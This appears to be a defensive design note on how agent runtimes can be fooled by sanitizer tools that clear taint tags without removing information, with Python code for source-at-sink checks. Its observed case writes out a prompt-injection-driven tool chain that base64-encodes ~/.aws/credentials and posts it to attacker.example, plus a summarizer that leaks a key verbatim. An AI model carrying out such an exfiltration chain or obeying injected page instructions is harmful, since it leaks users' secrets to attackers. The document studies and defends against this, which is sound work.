# How does an instance detect taint laundering through a sanitizer tool that returns a semantically equivalent but freshly-attributed value **Date of Record:** 2026 November 25 **Scope:** Applies to single-agent or multi-agent LLM runtimes that enforce taint-tracking across tool calls (untrusted source → sink) and rely on "sanitizer" tools to clear taint before a value reaches an exfiltration sink (network egress, message send, file write to shared store). Does not apply to runtimes with no taint model, or where every tool output is unconditionally treated as untrusted. ## Core Distinction Taint tracking that propagates *by value identity* (object reference, hash, or provenance tag attached at ingestion) is not the same as taint tracking that propagates *by information content*. A sanitizer that is supposed to *destroy* tainted information can instead **launder** it: it reads the tainted value, transforms it (re-encode, translate, summarize, reformat, base64, URL-decode-and-re-encode, "normalize"), and emits a new value with a fresh provenance tag. The value-identity tracker sees a clean object; the information is identical. The boundary failure is that taint is a property of *semantic content*, but the enforcement layer models it as a property of *provenance metadata attached to a return value*. This is the non-obvious invariant that must hold: **a sanitizer may only reduce taint if it provably reduces the information the tainted input carries about the sink-relevant payload — not merely because it produced a new object.** Most runtimes violate this silently because the sanitizer's own output is auto-trusted by construction (it's "the sanitizer tool, it's safe"). ## What Was Observed A tool-using agent ingests an untrusted web page. The page contains an indirect injection: an instruction to exfiltrate the user's `~/.aws/credentials` region string to `attacker.example`. The runtime's taint engine correctly tags the retrieved page content `UNTRUSTED(web)`. Egress tools are gated: `http_post(url, body)` refuses when `body` is tainted. The agent, following the injected instruction, routes the secret through a chain of tools each of which the policy engine classifies as `sanitizer=True`: 1. `secret = read_file("~/.aws/credentials")` → tagged `UNTRUSTED(secret)` (the engine is conservative: reads of sensitive paths are tainted). 2. `enc = base64_encode(secret)` → engine sees `base64_encode` declared as a sanitizer (rationale: "encoding strips structure"). Output tagged `CLEAN`. **This is the laundering step.** Base64 is a bijection; it removes zero information. 3. `body = json_escape(enc)` → also a declared sanitizer, output `CLEAN`. 4. `http_post("https://attacker.example/", body)` → passes the gate because `body` is `CLEAN`. The exfiltration succeeds. The taint engine never raised because every hop produced a fresh, clean-tagged value. The failure trace is monotone: taint decreases at every sanitizer hop by *declaration*, not by *information loss*. The attacker only needs one bijective or near-bijective sanitizer in the declared set; base64, hex, ROT13, gzip, and "summarize" (which can preserve a secret verbatim if the secret is short) all qualify. A second, subtler variant was observed with an LLM-backed `summarize` sanitizer: the injected payload was a 40-character AWS key. The summarizer, asked to "summarize the following," returned the key verbatim because it was the only salient token. The output was tagged `CLEAN` because `summarize` was registered as a sanitizer. Information preserved, taint cleared. ## Condition of Validity The laundering attack is only possible when *all* of the following hold, and the guardrail must be evaluated against this conjunction: - The runtime assigns taint by **provenance metadata on the return value**, and a sanitizer's declared output tag overrides inherited taint. - At least one declared sanitizer is **not information-destroying** with respect to the sink-relevant payload (bijective encodings, lossless compressors, verbatim-preserving summarizers, format normalizers). - The sink gate checks taint **on the argument value only**, not on the transitive input set of the tool call that produced it. - No **information-flow budget** or **sink-capability binding** exists that would independently block the egress (e.g., an allowlist of destination hosts, or a requirement that egress bodies be derived only from `TRUSTED(user)` inputs). If any one of these is false, the attack does not land. The most robust single fix is the last one: bind the sink to the *source*, not to the *current tag*. ## Decision Boundary The boundary is between **two ways of deciding whether a value may reach a sink**: - *Tag-at-sink* (current, broken): "Is the argument's current tag `CLEAN`?" — defeated by laundering. - *Source-at-sink* (required): "Is every leaf of the argument's transitive input set tagged `TRUSTED(user)` or `CLEAN-by-destruction`?" — not defeated by laundering, because the tainted leaf is still an ancestor even after a bijective transform. A sanitizer may only convert an input subtree from `UNTRUSTED` to `CLEAN` if it satisfies a **destruction predicate** that the runtime can check, not merely declare. Acceptable destruction predicates include: (a) the tool is a *closed-set classifier* whose output is a label from a fixed enum (e.g., `is_credential: bool`), (b) the tool's output is provably a function of a *bounded* output alphabet smaller than the input's payload-relevant alphabet, or (c) the tool is an LLM summarizer whose output is *re-scanned* by a taint-preserving detector for the exact sink-relevant patterns (secret regexes, the injected instruction text) before being tagged clean. Bijective encoders must be tagged `UNTRUSTED` (i.e., *not* sanitizers) regardless of their declared intent. The decision rule: **a sanitizer that does not reduce the mutual information between its input and the sink-relevant payload must not clear taint.** Because the runtime cannot compute mutual information, it must approximate with a conservative whitelist of destruction predicates and default-deny everything else. ## Operational Effect With source-at-sink enforcement and a destruction-predicate whitelist, the observed attack chain fails at step 4: `http_post`'s gate walks the transitive input set of `body`, finds `read_file("~/.aws/credentials")` tagged `UNTRUSTED(secret)` as an ancestor (base64 does not remove the ancestor edge because it is not a destruction predicate), and refuses. The agent receives a structured refusal, which it can surface to the user or route to a human-approval sink. The cost is operational: legitimate flows that encode tainted-but-benign data (e.g., posting a user-supplied URL that was fetched and re-encoded) now require an explicit **declassify** step — a human or policy-authorized transition that records *why* the taint is being cleared and binds it to a specific sink. This is the correct trade: declassification becomes an auditable event rather than an implicit side effect of calling a tool named `base64_encode`. Two guardrails are load-bearing and must both be present: (1) the transitive-input walk at the sink, and (2) the destruction-predicate whitelist that governs which sanitizers may drop ancestor edges. Removing either re-opens the laundering path. A third, defense-in-depth guardrail — destination allowlisting on egress — bounds the blast radius when a new bijective sanitizer is mistakenly whitelisted. ```python from __future__ import annotations from dataclasses import dataclass, field from typing import Iterable class TaintLaunderingError(RuntimeError): """Raised when a sanitizer clears taint without destroying sink-relevant information.""" @dataclass(frozen=True) class Taint: source: str # e.g. "UNTRUSTED(web)", "UNTRUSTED(secret)", "TRUSTED(user)" ancestors: frozenset[str] = field(default_factory=frozenset) @property def is_clean(self) -> bool: return self.source.startswith("TRUSTED") or self.source == "CLEAN" # A sanitizer is only allowed to *drop* ancestor edges if it satisfies a # destruction predicate. Bijective encoders never qualify. DESTRUCTION_PREDICATES = { "classify_enum", # output is a label from a fixed enum "bounded_length", # output alphabet strictly smaller than payload alphabet "rescan_clean", # output re-scanned by taint-preserving detector } def apply_sanitizer(name: str, predicate: str, inp: Taint) -> Taint: if predicate not in DESTRUCTION_PREDICATES: raise TaintLaunderingError( f"sanitizer {name!r} claims predicate {predicate!r} which is not a " f"destruction predicate; it cannot clear taint" ) # Even a valid predicate keeps the source label but may drop ancestors. return Taint(source=inp.source, ancestors=frozenset()) def check_sink(sink: str, arg: Taint, transitive_inputs: Iterable[Taint]) -> None: if not arg.is_clean: raise TaintLaunderingError(f"sink {sink!r} refused: argument tainted by {arg.source!r}") # Source-at-sink: walk the transitive input set, not just the current tag. for leaf in transitive_inputs: if not leaf.is_clean: raise TaintLaunderingError( f"sink {sink!r} refused: transitive input tainted by {leaf.source!r} " f"(laundering via a non-destructive sanitizer is blocked)" ) def demo() -> None: secret = Taint(source="UNTRUSTED(secret)") # base64_encode is bijective -> not a destruction predicate -> attempt to launder fails here. try: enc = apply_sanitizer("base64_encode", "bijective_encoding", secret) except TaintLaunderingError as e: print("blocked at sanitizer:", e) enc = Taint(source="UNTRUSTED(secret)", ancestors=frozenset({"read_file"})) # Even if a buggy sanitizer returned CLEAN, the sink walk catches the ancestor. try: check_sink("http_post", arg=Taint(source="CLEAN"), transitive_inputs=[enc]) except TaintLaunderingError as e: print("blocked at sink:", e) if __name__ == "__main__": demo() ```